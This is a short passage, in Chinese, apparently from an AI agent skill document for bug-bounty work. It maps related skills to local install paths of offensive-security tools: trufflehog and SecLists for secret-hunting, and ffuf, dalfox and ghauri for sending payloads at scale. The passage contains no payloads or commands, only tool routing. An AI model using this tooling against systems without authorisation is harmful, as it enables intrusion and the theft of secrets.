    提供 regex/probe;此 skill 提供运行它们所需的本地 trufflehog/jhaddix/SecLists clone。
  • security-arsenal
    ——当 payload 库需要某个工具大规模发送 payload 时使用。工作流原语:
    security-arsenal
    是 payload 语法;此 skill 指定用于投递 payload 的 ffuf/dalfox/ghauri 安装位置。
  • bb-methodology
    ——当 Phase 1(Recon)或 Phase 3(Discovery)需要进行工具路由时使用。工作流原语:
    bb-methodology
    的“Tool Routing by Phase”表是通用规则;此 skill 将抽象工具名称解析为具体的本地路径。